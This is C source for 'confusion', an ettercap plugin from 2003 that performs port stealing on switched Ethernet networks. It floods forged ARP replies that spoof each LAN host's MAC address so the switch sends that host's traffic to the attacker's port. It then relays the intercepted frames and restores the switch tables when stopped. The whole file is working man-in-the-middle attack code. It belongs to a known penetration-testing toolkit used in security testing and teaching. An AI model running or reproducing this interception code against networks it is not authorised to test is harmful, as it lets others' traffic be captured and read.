/*
    confusion -- ettercap plugin -- Port Stealer

    Copyright (C) 2003  ALoR <alor@users.sourceforge.net>, NaGA <crwm@freemail.it>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

*/

#ifdef CYGWIN
   #include <windows.h>
   #include <winsock2.h> 
#else
//   #include <sys/time.h>
//   #include <unistd.h>
#endif

//#include <stdlib.h>

#include "../../src/include/ec_main.h"
#include "../../src/include/ec_version.h"
#include "../../src/include/ec_plugins.h"
#include "../../src/include/ec_inet_structures.h"
#include "../../src/include/ec_inet.h"
#include "../../src/include/ec_inet_forge.h"

// protos...

int Plugin_Init(void *);
int Plugin_Fini(void *);
int In_List(char *mac);
int confusion(void *dummy);

// plugin operation

struct plugin_ops confusion_ops = {
   ettercap_version: VERSION,
   plug_info:        "Port Stealing",
   plug_version:     12,
   plug_type:        PT_EXT,
   hook_point:       HOOK_NONE,
   hook_function:    &confusion,
};

char FakeMAC[6] = {0x00, 0xfe, 0x00, 0x00, 0x00, 0x00};
char BroadMAC[6]= {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
char ArpMAC[6]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

//==================================

int Plugin_Init(void *params)
{
   return Plugin_Register(params, &confusion_ops);
}

int Plugin_Fini(void *params)
{
   return 0;
}

// =================================


int In_List(char *mac)
{
    char TempMAC[6];
    int i;
    
    if (!memcmp(mac, BroadMAC, 6)) return -1;
    for (i=1; i< number_of_hosts_in_lan; i++)
    {
	Inet_GetMACfromString(Host_In_LAN[i].mac, TempMAC);
	if (!memcmp(TempMAC, mac, 6)) return (i);
    }
    return -1;
}

int confusion(void *dummy)
{
   int sock, i=0, j, len, MTU, to_sleep=1;
   struct recv_packet pck, s_pck;
   u_long FakeIP=0x45454545, MyIP;
   char MyMAC[6], SourceMAC[6], c[1]="";
   ETH_header *eth, *rec_eth;
   ARP_header *arp;

   if (number_of_hosts_in_lan < 2)
   {
       Plugin_Output("\nYou have to build Host-List to use confusion\n");
       return 0;
   }
   
   Plugin_Output("\nUse this plugin only on switched networks\nBe sure to keep the NIC in promisc mode\nPress return to stop\n");

   sock = Inet_OpenRawSock(Options.netiface);
   Inet_GetIfaceInfo(Options.netiface, &MTU, MyMAC, &MyIP, NULL);

   Inet_SetPromisc(Options.netiface);
   
   pck.buf = Inet_Forge_packet( MTU + ALIGN_ETH_TO_WORD);
   pck.aligned = pck.buf + ALIGN_ETH_TO_WORD;

   s_pck.buf = Inet_Forge_packet( MTU + ALIGN_ETH_TO_WORD);
   s_pck.aligned = s_pck.buf + ALIGN_ETH_TO_WORD;

   Inet_SetNonBlock(sock);

   LOOP
   {
        Inet_GetMACfromString(Host_In_LAN[i+1].mac, SourceMAC);
	Inet_Forge_ethernet(s_pck.aligned, SourceMAC, MyMAC, ETH_P_ARP);
        Inet_Forge_arp( s_pck.aligned + ETH_HEADER, ARPOP_REPLY, SourceMAC, FakeIP, FakeMAC, FakeIP );

	i++;
	i%=(number_of_hosts_in_lan - 1);
	
	Inet_SendRawPacket(sock, s_pck.aligned, ETH_HEADER + ARP_HEADER);
        
	
	if (Plugin_Input(c, 1, P_NONBLOCK))
        {
	    for (i=1; i<number_of_hosts_in_lan; i++)
	    {
		usleep(Options.storm_delay);
		Inet_GetMACfromString(Host_In_LAN[i].mac, SourceMAC);
		Inet_Forge_ethernet(s_pck.aligned, MyMAC, SourceMAC, ETH_P_ARP);
    		Inet_Forge_arp( s_pck.aligned + ETH_HEADER, ARPOP_REQUEST, MyMAC, MyIP, ArpMAC, inet_addr(Host_In_LAN[i].ip));
		Inet_SendRawPacket(sock, s_pck.aligned, ETH_HEADER + ARP_HEADER);
	    }    
	
            Inet_Restore_ifr();
    	    Inet_Forge_packet_destroy( pck.buf );
	    Inet_Forge_packet_destroy( s_pck.buf );
    	    Inet_CloseRawSock(sock);
    	    return 0;
	}
        
	len = Inet_GetRawPacket(sock, pck.aligned, MTU, NULL);

	if (to_sleep) usleep(Options.storm_delay);

        to_sleep=1;
        if (len>0)
        {
            eth = (ETH_header *) pck.aligned;

	    if ((j=In_List(eth->dest_mac)) > 0)
            {
		int s_sock;
		s_sock = Inet_OpenRawSock(Options.netiface);
		
		Inet_Forge_ethernet(s_pck.aligned, MyMAC, BroadMAC, ETH_P_ARP);
    		Inet_Forge_arp( s_pck.aligned + ETH_HEADER, ARPOP_REQUEST, MyMAC, MyIP, ArpMAC, inet_addr(Host_In_LAN[j].ip));
	        Inet_SendRawPacket(sock, s_pck.aligned, ETH_HEADER + ARP_HEADER);
		
		if (In_List(eth->source_mac)==-1)
		    memcpy(eth->source_mac, MyMAC, 6);
	    	
		do
		{
		   if (Inet_GetRawPacket(s_sock, s_pck.aligned, MTU, NULL)<=0) continue;
		   rec_eth = (ETH_header *) s_pck.aligned;
		} while (memcmp(rec_eth->source_mac, eth->dest_mac, 6) || memcmp(rec_eth->dest_mac, MyMAC, 6) || rec_eth->type != htons(ETH_P_ARP)); 
		
		Inet_SendRawPacket(sock, pck.aligned, len);
            	
		Inet_CloseRawSock(s_sock);

		Inet_Forge_ethernet(s_pck.aligned, eth->dest_mac, MyMAC, ETH_P_ARP);
    		Inet_Forge_arp( s_pck.aligned + ETH_HEADER, ARPOP_REPLY, eth->dest_mac, FakeIP, FakeMAC, FakeIP );
		Inet_SendRawPacket(sock, s_pck.aligned, ETH_HEADER + ARP_HEADER);
		to_sleep=0;
	    }
	}
   }
}

/* EOF */
